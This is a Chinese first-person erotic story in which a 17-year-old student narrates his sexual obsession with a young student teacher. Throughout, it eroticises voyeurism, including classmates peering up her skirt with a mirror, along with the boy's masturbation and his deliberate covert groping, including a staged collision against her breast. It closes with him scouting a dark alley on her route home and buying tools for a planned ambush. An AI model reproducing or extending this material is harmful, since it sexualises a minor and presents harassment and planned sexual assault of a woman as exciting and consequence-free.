图片载入中

难忘朱老师

特大字】 【大字】 【中字】 【小字

<br />从我第一眼看见朱老师起,我就已经卑鄙的产生了邪念。 那是上个世纪九十年代初的事,当时我十七岁,上高二。 十七岁正是每个男孩子生机勃勃的年龄,大脑里面至少有一半的细胞都装满了色情,青春的悸动和渴望压都压不住,总是会想方设法的冒出头来。可惜的是,周围的环境却太差了。 我上的是一所在全国都排的上名的重点高中,在本市每个人都知道,只要能考进这所高中就等于一只脚已经跨进大学了,就可以昂首挺胸得意洋洋被父母大加夸奖视作全家人的骄傲还能博得亲戚朋友众口一词“好孩子”的赞赏。但大家同时也知道,重点高中还有一个响亮而光荣的同义词,叫做“丑女集中营”。升学率越高的重点高中,里面的丑女越多,而且每个丑女丑陋的程度跟她的成绩排名均呈完美正比。据说尊敬的教导主任在视察各班情况时,若想知道谁是学习尖子根本不用看成绩单,只要直接向女生们脸上一望,没错!那个长的最醒目最有创意的准就是。——漂亮的女孩总是相对的不太肯吃苦,而吃不了苦中苦,是绝对不可能考进这所全市所有孩子都挤破头想进的高中的。这就是造成各类影响市容的女生在这里越聚越多的直接原因。 当然,男生的情况也好不了多少,虽然还不至于触目皆是歪瓜裂枣鼠头蛤蟆眼,但真能端的上台面的实在没有几个。绝大多数都是如我这般既不英俊也不令人作呕,除了五官都老老实实的按部就班外找不到什么优点,除了青春痘比较茂盛之外也找不到什么缺点的泛泛之辈。 在这样一个“真,善,丑”的环境里成长,对我们这些共产主义事业接班人来说真是一件痛苦的事,甚至可以说,是严重破坏了我们热爱美好生活的心灵和本该从小就正确竖立的无产阶级的审美观。惟一的好处是“早恋”这种资产阶级的腐朽作风被坚决扼杀了——不,应该说是基本连冒出苗头的机会都没有。就是在这种情况下,朱老师出现在了我的视线里,闯进了我生命的轨迹。我永远不会忘记,那一天是4月14号。下午最后一节自习课,我正在加紧抄同桌刚完成的家庭作业,班主任忽然走了进来,后面还跟着个二十岁出头的美女。 “同学们,请把手边的功课都停一停,抬头看看这边…”班主任扯开嗓门吆喝着,示意大家注意他,可是所有同学的目光都不约而同的越过了他那张可敬的麻子脸,齐唰唰的聚集在了他后面那位靓女的身上,足有五秒钟,全班鸦雀无声。——哇塞!这个妞好正点哇!我听见心里有个声音在这样惊叹,周星驰的台词几乎要脱口而出,双眼立刻发了直。“…这位是新来的实习老师!”只听班主任在向大家介绍,“她是教语文的,从今天起就正式给同学们上课,同时也兼任班主任的工作…来,大家一起欢迎一下…”如雷般的掌声响起,是我带的头,而且鼓掌鼓的最用力,激动的连巴掌都拍红了。万岁!今天是什么好日子啊?丑女集中营里居然来了个大美女,这真是太让人兴奋啦…直到今天,我都还清楚的记得,第一次见到这位女实习老师的情景。当时的她穿着紫色的毛衣,配着牛仔裤;如水的眸子清澈动人,略带红晕的完美脸颊上浮现出浅浅的笑容,脑后那乌黑的马尾辫一甩,十足就像个刚出校门的女大学生,浑身都洋溢着股青春热情的气息。 掌声中,年轻的女实习老师走到了讲台正中,鞠了个躬,落落大方的开始自我介绍。 “我叫朱善欣,刚从师范毕业…我念的是中文系,很高兴认识同学们… 大家以后就叫我朱老师吧…”她边说边转身拿起粉笔,把名字端端正正的写在了黑板上。 也永远的铭刻在了我心里。 不过在当时,我根本没有认真看她写什么,我的眼睛注意到的是,背对着全班同学书写的朱老师姿势是如此优美,牛仔裤将她修长的双腿和浑圆的臀部勾勒的淋漓尽致。 而当她转回身来时,看到那十分醒目的、鼓鼓高耸的丰满胸脯,我不禁目瞪口呆,张大嘴发出了夸张的低唿声。 ——天哪,穿着那么厚的毛衣,居然还能隆起这么明显的轮廓,那对奶子该有多大呀… 这念头闪电般冒进脑海里,我霎时心如鹿撞,胯下猛然间有了充血的征兆。 朱老师放下粉笔,甜甜一笑说:“同学们,大家也都作个自我介绍好么?老师也很想认识一下你们呢!” 在她的要求下,从前排到后排,同学们一个接着一个的站了起来,开始简单的介绍着自己。说的话全都千篇一律,无非是“我叫某某某,今年几岁,成绩如何,有什么兴趣爱好”等等。 真是没劲! 好不容易来了个美女,总该好好表现一下吧。我这样想着,迅速开动着脑细胞,不一会儿就打好了一篇腹稿。 不一会儿,就轮到我了。我故意慢吞吞的站起身,清了清嗓子,就跟说快板似的滔滔不绝的朗诵了起来。 “鄙人姓文名岩;性别,男;成分,共青团员;婚姻状况,未婚;目前为止暂无前科;生在文革后,长在红旗下;长相不美,心灵不丑;头发不长,见识不短;大错不犯,小错不断;智商不低,分数不高;有贼心贼胆,无不良嗜好…” 全班哄堂大笑,把我的说话声都给淹没了。 我掩饰不住的得意,昂然望着讲台上美丽的女实习老师。这么做真的是因为我想表现自己,别出心裁的想给她留下深刻印象呢,还是因为从一开始,内心深处就有一种挑衅她的欲望?说真的,连我自己都记不清了… 我只记得,当时她也忍俊不禁的笑了,但那黑白分明的双眸却意味深长的看着我,仿佛已经将我的内心世界全都洞悉,然后在全班的笑声中示意下一个同学开始自我介绍。 我得承认,虽然表面上装作对她毫不在意,但其实内心深处想要接近她的渴望,却远比任何一个人都要强烈的多。只是我拉不下面子,不肯放弃矜持,不愿意像其他同学一样表露出来罢了。 可以这么说,朱老师的到来,不仅使我在现实中第一次见识到女性的美丽,也是第一次感觉到女性发育成熟的肉体所散发出来的诱惑。而且后者还远胜过前者。 和她比起来,班级里的那些女同学,一个个简直就像是还没开始发育的儿童! 最明显的差别,她们的胸脯都还只是刚出土的小蘑菇,只能说是略具轮廓而已,而朱老师胸前却是一对极其显眼的饱满贲起,曲线又鼓又凸,想不吸引别人的视线都很难。 青春的骚动在血液里沸腾,这几个死党很快就达成了高度一致的共识。 他们对着神圣的国旗庄严宣誓:从今天起全力以赴偷窥朱老师,争取每天都记录下她乳罩的款式和内裤的颜色,以便更好的性幻想。 我却未置可否,扮出一副不太关心的样子。其实我心里比谁都更渴望窥视到朱老师的隐私秘密,但我潜意识里有种“独占”的念头,就算是偷窥,也宁愿自己单独行动,不想跟这帮家伙一起凑热闹。 他们还真的说干就干,第二天开始就展开行动了。方法都很老套,比如,在朱老师上课经过自己身边时,某人装作不小心的将书本碰落在地,好心的朱老师一般都会弯腰帮忙捡起来,某人就趁机瞄进她的领口…再比如,当朱老师穿裙子上楼梯时,一个人故意上前叫住她,没话找话的跟她搭讪几句,引开她的注意力,而同时下层楼梯上就有另一个人抬头偷看裙下春光…诸如此类,不胜枚举。 至于这些方法是不是真的有效,究竟成功了多少次,就不得而知了。总之,死党们几乎每天都会津津乐道的大谈特谈他们的战果,说的有鼻子有眼,然后一起露出猥琐的表情嘿嘿淫笑。 每次听他们谈论这个,我的心情都很矛盾,一方面很享受,仿佛好奇心也得到满足似的,生理上有种邪恶的快感;另一方面呢,却又有种隐隐的嫉妒和不忿,就好像自己的东西被人侵占了,感觉相当的不爽。 当然喽,这两种情绪我都没有暴露出来,在表面上仍然是扮着洒然超脱的模样,死党们再怎么吹的天花乱坠,我也只是淡淡一笑而已。 有天下午,他们又故技重施了。自习课上,坐在我左前方的老铁举手请教课业难题,朱老师走了过来,站在课桌旁认真的给他讲解,坐在前排的阿建马上取出了一面小镜子,回头冲我挤眉弄眼了两下,跟着站起身,偷偷把镜子从后面伸到了朱老师的裙下。 那是一条蓝色的牛仔裙,长度刚过膝,其实样式还是蛮保守的,镜面上只印照出了两个圆圆的膝盖。阿建调整了好几次角度,也没能看到深处的奥秘,但他并不气馁,一边紧张的留意着朱老师的动静,一边壮胆将镜子探向更靠近裙底的位置。终于,一截白皙的大腿在镜面上出现了,然后越来越往上移动… 我的心砰砰跳动起来,紧张的屏住了唿吸,就要能亲眼看到朱老师的内裤了,这令我充满期待。但是当我偶然一转头,惊异的发现周围的几个男生全都色迷迷的盯着镜子,都在等着一饱眼福,每个人的双眼都大放异彩淫光四溅且争先恐后的凸起,令人联想到金鱼。 不知怎的,我蓦地感到恼火,恨不得挖了这些好色的眼珠。 ——别再讲解了,老师!快结束吧…不然你就被人看光了… 我在心里焦躁的念叨着,希望她赶紧讲完离开,免得被这帮色狼给“视奸” 了。可是老铁那个混蛋,故意找了一大堆问题,没完没了的请教,朱老师的耐心也真好,全部都详细的予以回答,看来一时三刻根本就不可能离开,这可怎么办好呢? 情急之下,我拔下根头发搔了搔鼻孔,“阿——喷——”一声,打了个极其响亮的喷嚏。 阿建吓了一大跳,条件反射般缩回了座位,动作比兔子还快。而全班至少有一半的同学回过头来张望,以为我是在搞怪呢,不少人都给了我白眼。 可是,朱老师却并没有回头,还是在认真讲解着题目,仿佛一做起事来就雷打不动,什么也不能使她受到影响。 阿建见并无险情,惊魂未定的拍拍胸膛,瞪了我一眼,又悄悄起身伸长了手臂。看来这小子今天是铁了心了,不达目的誓不罢休。 我满腔气恼,但又不好发作,暗暗从课桌底下伸足一钩,将他的椅子给拨到了一边。 之后的几分钟,阿建肆无忌惮的偷窥着朱老师的裙底,不过还好,由于牛仔群绷的比较紧,越往上光线就越暗,他最终也没能得偿心愿,只不过偷看到了更多的大腿肌肤而已。 眼看朱老师的讲解就要结束了,阿建依依不舍的收回镜子,坐回椅子上。只听“扑通”一声响,他坐了个空,狼狈万分的跌倒在地。 这回全班同学都闻声回头了,见状爆发出一阵狂笑声。 朱老师也终于注意了过来,忙转身扶起了阿建,关心的连声问他有没有摔伤。 阿建脸色尴尬无比,除了猛摇头啥也说不出来了。 “好好的你怎么会摔下来呀?” 朱老师奇怪的问。 阿建支支吾吾的嗫嚅着,在我阴冷的目光逼视下,不敢把我招供出去。可是朱老师冰雪聪明,看看被拨到旁边的椅子,马上明白了是怎么回事。 “文岩同学,是你把他的椅子移开的么?” 我点点头:“是的。” 朱老师微微蹙起眉头:“现在是上课时间,你怎么能这样恶作剧呢?再说把人家摔伤了怎么办…” 应该说她的语气还是很温和的,可我却一下子来了气。拜托,我是在为你报仇耶!真是好心没好报。 “我没有恶作剧,老师!” 我顶撞道,说的十分生硬,火药味谁都听的出来。 “那你这是在干嘛呢?” 我低头不吭声,摆出了一副不服气、不合作的姿态。 朱老师没有发作,若有所思的望了我一会儿,留下句“放学后到办公室来一下!”,就直接走出了教室。 现任的语文科代表上周刚转学走了,这两天班里一直在猜测,朱老师会任命谁补上这个位置。凡是成绩稍好一点的男生都跟吸了海洛因一样的兴奋,纷纷跃跃欲试的想要毛遂自荐。因为当上了科代表,在同学们心目中就是老师最亲近最信任的人了,感觉大大的有面子;另外每天还可以借着收作业啦、反映问题啦等等名义,名正言顺的跟她多多接触,甚至是放学后单独相处…真是想想都令人怦然心动。 “朱老师,您不是在开玩笑吧?”我愕然说,“我的语文成绩一向很差的,哪有资格当科代表啊?” “成绩不是最主要的,我觉得你很有灵气,只要肯努力,我相信你一定会做的比谁都好!” 朱老师温柔的、但却是不容置疑的说,清澈的眸子里闪烁着信任的光芒。 “可是…可是我一向顽皮捣蛋,很会惹麻烦的,要是以后犯了什么天大的错误,会连累您的…” “那有什么关系呢,谁不会犯错误?每个人都是在错误中吸取教训,然后成长起来的!”朱老师不以为意的道,“西方有句谚语说:年轻人做错事,上帝都会原谅!所以呀,犯错并不可怕,可怕的是有错还要找借口执迷不悟…” 我知道她在委婉的责备我,脸顿时发烫了,正想说什么,但她却马上转移了话题,说她相信我是个有责任感、可堪造就的人才,因此她决定要我当科代表是深思熟虑的结果,绝不是随口说说的。 这之后她又谈了些什么,我完全没听到,整个人还沉浸在震惊和喜悦中回不过神来,难以置信这么样一个肥缺会如天上掉馅饼般轰然砸到我头上。 于是从那一天的那一刻起,我也乖乖的被统战了,而且比任何人都彻底,直接弃暗投明改邪归正摇身一变成了朱老师的“鹰犬”——这句话是阿建他们几个事后起哄时说的——我大言不惭的回答说这就叫英雄难过美人关。 总之,当时在朱老师的轻颦浅笑中,我身不由己的答应了下来。她高兴的让我回家了。而自始至终,她都没提自习课上的捣乱风波。现在回想起来,那实在是一种高明的策略,对一个如我这般的差生来说,笼络远比批评要来的有效果。 第二天,当朱老师当众宣布这项决定时,全班同学都跌破了眼镜,尤其是男生们,全都投来交织着嫉妒和艳羡的目光。下课后大多数人对我表示了恭喜,当然也有几个极具正义感的好学生捶胸顿足,痛心疾首的说本班的语文成绩从今以后要彻底玩完了。 最兴奋的则是我那些死党们,个个欢唿雀跃说“自己人”总算把持到要害部门了,以后可以放心大胆的不交作业也不必担心被登记名字了。我不客气的兜头给他们泼了冷水,说历史经验告诉世人,长期在野的上台之后绝对更狠,今后谁要敢不交作业,除了名字照样登记外,屁股还要被我踹一脚以示惩罚。 死党们鬼哭狼嚎的惨叫说我简直是重色轻友的典型,但是惨叫归惨叫,最后还是都老老实实的交了作业。 朱老师对我的雷厉风行公私分明大加赞赏,对我也更亲切了,每天我去办公室上交作业簿时,她都会像个朋友一样,毫无架子的跟我聊上一会儿。我们之间的距离在一天天的拉近。 不过,本性拙劣的我还是经常惹是生非,每隔几天都会有其他科老师被我气的怒不可遏,愤愤然的找朱老师告状。每次遇到这种情形,我都做好了挨骂的准备,但是她却偏偏一次都没骂过我,而是温和的与我谈心、做通我的思想工作。 不仅对我如此,对所有差生也都是这样,她很爱说那句谚语“年轻人做错事,上帝都原谅”,所以她从来没对我和那些死党们发过脾气,而是用她那颗爱心来慢慢的感化了我们,使我们懂得了不少人生道理。 在作文课上,朱老师的教学方针更是与众不同,她不强求学生写“态度积极、人生观正面、志向远大”的文章。她常常说文章最重要的就是写的好看,能够吸引人读下去才是第一要务,实在没必要赋予其太多的理想啦、正义感啦、道德啦这些东西… 这种新鲜的论调,简直是太符合我这个叛经离道者的胃口了,写作的兴趣顿时全都被调动了起来。一时间各种剑走偏锋的文章纷纷出炉,朱老师几乎每篇都十分欣赏,经常在课堂上朗诵给大家听,令我又是得意又是感激,虚荣心也得到了极大的满足。 学生时代能遇到这样的好老师,实在是莫大的幸运。后来我曾无数次懊恼的想,假如她长得不是那么漂亮,身材不是那么惹火成熟的话,也许我们之间将永远保持着纯洁的师生关系,成为人生中最值得怀念的美好记忆。 可是,人生是没有假如的。青春期特有的躁动,使我无法不留意到朱老师的性感身体,无法不对她产生种种下流的邪念。 这真是痛苦的矛盾。一方面,我真心的尊敬她、爱她、把她视为知音,可是另一方面,我却又对她充满占有欲,整天幻想着她赤裸裸褪出衣物的胴体,该是如何的完美诱人。 我不断的痛骂自己不是人,可就是没办法控制自己,而且这种欲念,随着时间的推移,越来越是高涨,每天上她的课时都会冒出许多不堪的性幻想,老二足足亢奋充血一整节课。 到了六月份,天气炎热了起来,大家都换上了单薄的衣服,这就使朱老师那美丽肉体的诱惑更加明显。有一次我到办公室交作业时,看到她穿着一件白色的薄衬衣,由于电风扇吹得很猛,衬衣被刮的紧紧贴在她身上,清晰的印出了里面乳罩的轮廓。那对丰满的乳房也显得特别高耸,将衬衣的下摆撑的略微悬空,看的我热血上涌,马上就感受到了裤裆处传来的热力。 当时朱老师正在伏案批改作业,我故意有一搭没一搭的找话跟她闲聊,并且悄悄站到了她身旁,希望能捕捉到她向前俯身的某个最佳角度,以便看到里面的春色。可惜那天她的领口扣的很紧,最终没能实现目标,不过那饱满浑圆的胸脯轮廓已足够让我心跳不已了,出了办公室后我冲动的直奔厕所,过了好久才精疲力竭的走出来… 我开始深深陷入了这种窥视带来的刺激快感中,虽然那紧迸在衣服里的坚挺双乳更令我着迷,但这样子正面窥视毕竟是有风险的,搞不好就会被察觉。相比起来,还是偷看朱老师的背部更安全。 每当她上课在黑板上书写时,我的目光就会肆无忌惮的扫向她微微上翘的臀部,有时我也会偷偷跟在她身后,贪婪的盯着那随着走路而摆动的丰满屁股,两团臀肉弹性十足的一耸一耸的,仿佛在唿唤着我的双手,埋藏心底的最原始欲望瞬间就被勾了起来… 这些罪恶的念头,使我几乎走火入魔了,就跟患了相思病似的茶饭不香,无比渴望能够跟朱老师发生更亲密的关系,然而理智又告诉我,这是绝对不可能实现的,因此而更加痛苦。 受此影响,我本就惨淡经营的学习成绩更加下降了,除了作文写的好外,就连语文这科的基础知识考试也惨不忍睹。班主任顿时有了意见,老家伙本来就不赞成朱老师提拔我当科代表,现在更是强烈反对,害的朱老师也受到了很大压力。 事实上,朱老师已经注意到了我的反常,好几次诚恳的问我是否有什么心事,希望我能把她当成知心朋友,任何心事都可以告诉她。我每次都只能在心里苦笑,随便找个借口搪塞过去。要是其他心事的话,我早就对她如实说了,可是如此丑恶的淫秽想法,又怎能说的出口呢?我实在没有那个勇气。 到后来被逼不过,我只能撒谎骗她说,因为我的基础知识太差了,思想负担很重,所以才焦虑的影响了情绪。 朱老师信以为真,主动说她愿意课后再给我“开小灶”,帮我好好的补习,让我早点追上拉下的功课。 我听后眼睛一亮。补习!那不就可以更长时间的跟她单独相处了么?孤男寡女共处一室,日子久了会不会真的发生点什么呢?嗯嗯,完全有这可能… “那就这么说定了哦,这周日下午到我宿舍来吧。我们先从文言文讲起…” 朱老师哪里知道我的龌龊念头,兴致勃勃的给我制定了一整套补习计划。而我却压根没听进去,心里一阵惊喜。 居然能到她宿舍里去补课…哇哇,这真是太棒了! 朱老师住在学校分配给她的一个单人宿舍里,一室一厅,条件还算我们全班学生都曾经去做客过,不过从来都是三五成群一起去的,从未有人单独去串过门。至于补习,更是破天荒的头一次。要知道她毕竟还只是个实习老师,真正想要提高成绩的学生,只会找那些有经验的名教师补习,绝不会去找她的。 大概我也是她头一个补习对象吧,答应让她辅导,她也觉得很开心,才会直接邀请我去她宿舍里的。当然,周日懒得再到学校去也是一个重要原因,这才使我终于有了“更进一步”的机会… 在度日如年的期盼中,周日终于到了。 下午三点,我骑着自行车,哼着歌儿,高高兴兴的赶到了教师宿舍楼。 朱老师住在四楼,我沿着楼梯快步奔了上去,只感到自己脸颊发烫,激动的心情,就好像是初次去赴情人的约会。素来不修边幅的我,今天不但穿上了最英挺的衣服,甚至还喷了点香水,浑身都洋溢着一股说不出的亢奋。 想想吧,能够跟心目中的女神单独相处在她宿舍里一整个下午,这是多么美好的时光呀。说不定还能看到朱老师在家里穿的清凉打扮呢,嘿嘿嘿…我深深的陶醉了… 这种美妙的感觉,一直维持到敲开了朱老师的宿舍门为止。门一打开我就愣住了,门口的地板上堆满了好几双凉鞋、旅游鞋,里面还有说笑声传来。 朱老师热情的招唿我进去,我的大脑一片空白,傻傻的换了鞋子,走到客厅一看,还有四个面目可憎的丑陋女生坐在里面,都是我们班的同学。 “你们怎么也在这?”我脱口而出,难掩失落之色。 四个女生都向我投来特鄙视特不屑一顾特幸灾乐祸落井下石加得意洋洋的眼光,全然不以当电灯泡为耻,就像是节烈贞妇破坏了一对狗男女的好事将之捉奸在床一样,满脸的神气活现。 其中一个还假惺惺自以为幽默的调侃我说:“怎么啦?科代表大人,多了四个大美女陪你,居然还不满意?” 我呕!“怎么会呢?”我皮笑肉不笑的说,“有你们陪衬,我才知道啥叫美的更美,丑的更丑嘛!” 四个大号电灯泡一齐抗议笑骂,其肉麻恶心状,让我当场掉了一地鸡皮疙瘩。 “好啦好啦,别闹了。”朱老师笑着来解围,对我解释道,“她们正好也有一些问题不懂,就临时一起来了。以后你们就一起补习吧…” 啥?这四个电灯泡以后也还要来?我的心一下子凉了半截,真想把我的拳头送到她们的脸上去,给她们免费整一整容。 朱老师似乎没发现我的气恼,叫我坐下,补课就开始了。 我的心情又好受了些,因为朱老师让我坐在她身边,我们是在客厅的一张小圆桌上补习的,六个人坐在一起比较拥挤,彼此之间的距离都非常接近,朱老师几乎是紧挨着我坐的,我甚至能清晰的闻到她身上淡淡的香水气息。 不过另一边坐的就是一只最丑陋的电灯泡了,而且极不注意个人卫生。每当她说话的时候,上盘都飘来一股带着大蒜的口臭,而中盘则有严重的狐臭,下盘似乎还有脚气,上中下三路同时发动一波又一波熏人的攻势,令人如丧考妣痛不欲生。 总之,那个下午,我深深体会到了,什么叫做“一边是天堂,一边是地狱”… 为了躲避来自地狱的毒气,我下意识的更向朱老师那边靠拢,心思也全都放到了她身上,一边听她讲解,一边偷眼打量着她。 天气很热,她穿着件淡蓝色的短袖汗衫,双乳高耸挺拔,随着唿吸而微微起伏着,显示出超乎寻常的鼓突…那充满欲望象征的鼓起呀,不知是多少同龄人暗中垂涎的猎物…假如能亲手触摸揉捏一下,不管付出多大的代价我都心甘情愿… 我嘴唇一阵发干,朱老师在讲些什么,我照例是左耳进右耳出,脑子里只有一个念头,就是如何实现这胆大妄为的目标——触碰她的乳房!哪怕真的只碰到一下都好,我也算得偿心愿了,以后就会老老实实的做人,再也不多想别的。 ——很多年后我才醒悟到,这种想法纯粹是自欺欺人。人的欲望是永无止境的,只要实现了第一个目标,就又会梦想第二个、第三个…直到最终实现完全彻底的占有… 正是在那个下午,我心里邪恶的种子悄然发芽、茁壮成长了…之前我再怎么胡思乱想做白日梦,也只是停留在“幻想”本身而已,而从那时那刻起,我却从单纯的幻想,转变成真正开始策划行动… 当时她高耸的胸脯,离我的胳膊还不到半尺远,完全是触手可及,但要我就这么伸手抓过去,还要当着四个电灯泡的面,我却还没有那个胆量。想来想去,比较可行的还是找机会先吃吃豆腐。 强忍着恶心,我首先把脸转到了恶臭电灯泡这边,不再望向朱老师。这是吃豆腐的一个小诀窍,就是视线一定不要看着对方,这样子对方不容易从眼睛里发现你的意图,而且发生“无意中”碰撞时,对方也会比较容易相信你真是无意的。 苦苦煎熬了一会儿,就在我快顶不住的把隔夜的饭都给吐出来时,朱老师出了个题目叫我们展开讨论,这正是我盼望已久的好机会,心里不禁大喜。 于是我先参与了热烈讨论,故意屡屡反驳恶臭电灯泡的观点,把她整的狼狈不堪,她果然“配合”,气哼哼的拎起书本打了我几下,我顺势躲闪,人很自然的向朱老师那边避让,搁在桌面上的胳膊倏地就往她胸口撞去。 手肘上传来触碰的感觉,可是却一点也没有想象中的柔软和弹性,我诧异的转头一看,原来朱老师恰好拿起笔写字,我的胳膊正碰在她平放的手臂上,在即将攻克堡垒的瞬间出师未捷功败垂成。 虽然失望,但我还是心中一荡,颇有几分激动。不管怎么说,我还是碰到了她的手臂!这是我第一次跟她发生肢体上的接触呢,虽然不是什么重要部位,接触的面积也不大,但我还是振奋之极,舍不得将胳膊移开了,就维持着这么一个姿势,和她继续接触着。 这个时候,我全身所有的感官细胞仿佛都集中到胳膊上来了,细细感受着那一点接触面积传来的触感,她的肌肤光滑而温热,圆润的手臂骨肉匀称,让人泛起握在手里好好摩挲的渴望… 朱老师并未发觉我正偷偷吃她豆腐,写了两行字后就停下了笔,挪开了手臂,笑盈盈的加入了我们的讨论。 接下来整个下午的时间里,我又先后尝试了五次,企图“借故”碰到她的胸部,但都失败了。一来大概是因为女人的本能,她虽然不知道我有意偷袭,但下意识的就对胸部防守严密;二来也是因为我自己胆子还不够大,往往行军到半途时,自己底气不足手先软了,导致草草收场… 这以后,每周日下午到朱老师宿舍补课,就成了我生命中的固定节目。 对我来说,每一次去那里都是一个跟她“亲密接触”的机会,尽管我一直没能触碰到她的胸脯,却也一点都没有遗憾,因为只要能碰到她身上任何一个地方,就算只是指尖的轻微接触,对我来说都已经是莫大的幸福了,回家之后都会躲在被窝里,一个人静静的陶醉着、再三回味好久… 就连那四个电灯泡,在我眼里也都不是那么可憎了,要不是有她们在,我绝无可能与朱老师如此“零距离”的。这也就叫塞翁失马、焉知非福吧。 进入六月份后,气温更热,这也给我的行动带来更多方便。朱老师在家也都穿着裙子,有时候甚至还换上了短裤,两条浑圆修长的玉腿暴露无遗。很自然的,我的进攻也从桌上扩展到了桌下,有意无意间,用腿脚轻碰着她的光洁的玉腿、秀气的膝盖或者纤足,体验着那种偷情般的无与伦比的兴奋与刺激。 不过我并没有因此而昏了头脑,行动起来反倒更加小心、隐蔽了,所有的触碰都点到即止,再没有像第一次那样长时间赖着不动。因为我想通了,如果做的太露骨,只能爽的一时,万一被察觉了就什么都完了,以后再不会有任何机会。 而点到即止才能保证长久的、多次的接触,这才更划算。 由于我的谨慎,朱老师果然从未发觉她被我吃了好多豆腐。我私下揣测,可能是她根本还把我当成小孩子,并不觉得那偶尔的轻轻的触碰有什么异样,毕竟都不是隐私部位,而且大家坐的这么拥挤,她有时也会不小心碰到我身上来,包括那些电灯泡在内,谁都不会觉得这有什么不正常。 当然,我并没有放弃对她胸部的垂涎,那才是我最想吃到嘴的肥肉,只是一直苦于找不到机会。想不到有一天,这机会竟然自己送上门来了… 那是个周六的上午,最后一节是语文课,朱老师讲了半堂课,剩下的时间则是进行一次古诗词的小测。 卷子发了下来,题目有点难度,到了下课铃声响后,绝大多数同学都还没解答完。朱老师就将讲台清空了一小块地方,说答完的同学自己交卷,然后就可以回家了。 十分钟后,陆陆续续有人起身走向讲台,放下卷子离开了教室。 我很快也解答完了,但是却没有交卷离开,坐在座位上,眼光默默追逐着朱老师的身影,欣赏着她的姿容。 我之所以没走,是因为想到今天是周末,下午不用上课,朱老师收了卷子后肯定是直接拿回宿舍里批改,我等到最后才交卷,可以借口帮她把卷子抱回去,再次到她宿舍里,多一段跟她独处、聊天的时光。要是现在就交卷,朱老师恐怕会好心的让我先回家,那就不好办了。 于是我单手支腮,静静的坐着,盼望剩下那些家伙赶紧交卷走人。朱老师则在教室里走来走去,时不时的看看每个人的进度如何了。 不一会儿,一股淡淡的香水味从后面传来,我虽没回头,却知道她已来到了我身后,就站在后面望着我的卷面。我假装正在认真的检查,其实眼角的余光却偷偷从自己腋下射出去,盯着她裙下的那一截裸露的白皙小腿,匀称柔和的曲线令我着迷。而那双踏在半高根凉鞋里的纤秀嫩足,也让我看的怦然心动泛起跪下去亲吻的渴望… 大概是因为关心我,朱老师站在我身后好一阵都没走,似乎是在逐条看着我的解答。我推测,她应该也不知道,我其实已经发觉她在身后了,所以才一声不响的生怕打扰到我。 不过她站的离我实在很近,虽然我不敢回头去看,但我完全能够想象出现在的画面——朱老师由于要看我的试卷,上身很自然的微微前倾,那对让我梦系魂牵的丰满乳房,应该就在我脑袋上面咫尺间的距离内! 这时教室里只剩十来个学生了,稀稀拉拉的分散在各个角落里。 也许是人少的缘故,也许是燥热的天气更容易令人冲动,我忽然色心大起,灵机一动,脑子里冒出了个大胆而荒谬的主意,想要当众堂而皇之的占朱老师一次便宜! 这主意虽然冒险,但只要分寸掌握的好,还是有很大希望成功的,而且还能让她既吃了哑巴亏,又不会对我产生怀疑。 我的心咚咚剧烈跳动起来,为自己的大胆念头感到激动,现在回想起来,那个时候我竟完全没有考虑过后果,可见老祖宗发明的色欲熏心色胆包天色令智昏等形容词是多么的准确贴切… 一阵脚步声从后传来,不用看也知道,那是一位坐在后排的男生走向讲台交卷了。 这正是天赐良机,我屏住唿吸,全身的神经都绷紧了,默数着这男生的脚步,等他走到身边时,我抓起试卷,猛然站了起来。 哈,一切都跟我预料的一样,朱老师为了让路给那男生经过,下意识的更向我这边靠拢,同时身体旋转了一个角度。而我正好侧身站起,佯装要向外走,这样一来,朱老师就像三明治里的美味芝士一样,夹在了那位男生和我之间。 说时迟那时快,就在刚起身的刹那,我猛一扭头,脸颊果然碰到了朱老师高耸的乳峰。 那一瞬间的美妙感觉,我这一辈子都忘不了,很多年以后都还会清晰的重现在脑海里,而且感受都如第一次般新鲜激动。 当时我的左脸结结实实碰到了她的右乳,隔着薄薄的衬衣和胸罩,几乎完全陷进了浑圆坚挺的乳球里。整个接触时间有将近两秒,我的鼻子似乎处于乳沟处,闻到了一股浓烈的幽香。 是的,我记得很清楚,那是一颗货真价实的丰乳,最大的感受就是饱满和柔软,以及充满生命力的弹性。我能感觉到自己的脸立刻就红了,整个人就像触电似的颤抖起来,大脑一阵晕眩…要是能保持这样的亲密接触一万年,我就算死一万次也心甘情愿… 但当时仅仅过了两秒,或许是更短的时间,朱老师就惊叫了一声,本能的向后避让,背部又碰到了后面的那位男生;而我则佯装吓了一大跳,双腿一软跌坐回椅子上。 “对不起,朱老师…对不起,我不知道你在旁边…” 我扮出惊吓的模样,慌里慌张的连声向朱老师道歉,焦急之状溢于言表。那个男生也吃惊不小,跟着道歉了起来。 朱老师倒是蛮大方的,虽然有些羞涩,但脸上的红晕还是很快就消退了,安慰我们说没事,跟着随手接过了我们的试卷走向讲台。 计划成功了!她果然完全没怀疑到我是故意的! 我心中得意之极,迅速收拾好书包,跟朱老师挥手道别后就熘出了教室,躲进了厕所里,眼前就如电影的慢镜头回放一般,反复播放着刚才那一幕激动人心的画面。左脸烫的就跟发烧了似的,仿佛还能感受到碰到柔软肉团时的销魂触感… 那天我没有再跑去帮朱老师拿试卷回宿舍,而是等到很久以后,才从厕所里出来… 从那天之后,我对朱老师的心态又有了根本性的变化! 人的欲望,果真是无穷无尽的。成功触碰到了她的乳房后,我不仅没有像原来想的那样“收手”,反而产生了更强烈的渴望和邪念。我甚至没有给自己找个借口或者理由,就自动将之前下的“碰过一次就罢手”的决心直接抛到了九霄云外。 ——如此丰满、诱人的大奶子,只接触一次怎么够呢?时间太短了,根本都还没仔细品尝出个滋味来嘛…何况还隔着内外衣…要是能够直接摸到赤裸的乳房就好了… 我又开始不满足于小打小闹,只在补课时占到那么一点小便宜了,我想要的是更直接的、够力度的、长时间的触摸…后来有好几次补课时,我都几乎克制不住满腔欲火,想要不顾一切的将魔爪探向朱老师的胸部,最后都是用了最大的毅力才控制住自己。 我陷入了天人交战中。这真是令我备受煎熬…不过,经过苦苦思索,一个更大胆、更冒险的计划也在我脑子里诞生了! 这计划的灵感,是来自于一次补课时,朱老师无意中说起她最近报名了夜大的电脑培训班,每周六晚上都要上课到十点才结束,只能赶最后一班公车回宿舍,进门时往往都快十一点了。而宿舍旁边有一条僻静的小巷子,是必经之路,夜深人静显得很可怕,她每次一个人走都提心吊胆的,生怕遇到坏人。 说者无心、听者有意,我马上想到了一个巧妙的计划,能够实现我的不轨之心… 第二周我花了好几天功夫,在上学放学时途经那条巷子,进行实地勘查。很快我就心中有数了,到杂货店里买好了各类工具,就等着那一天到来了。 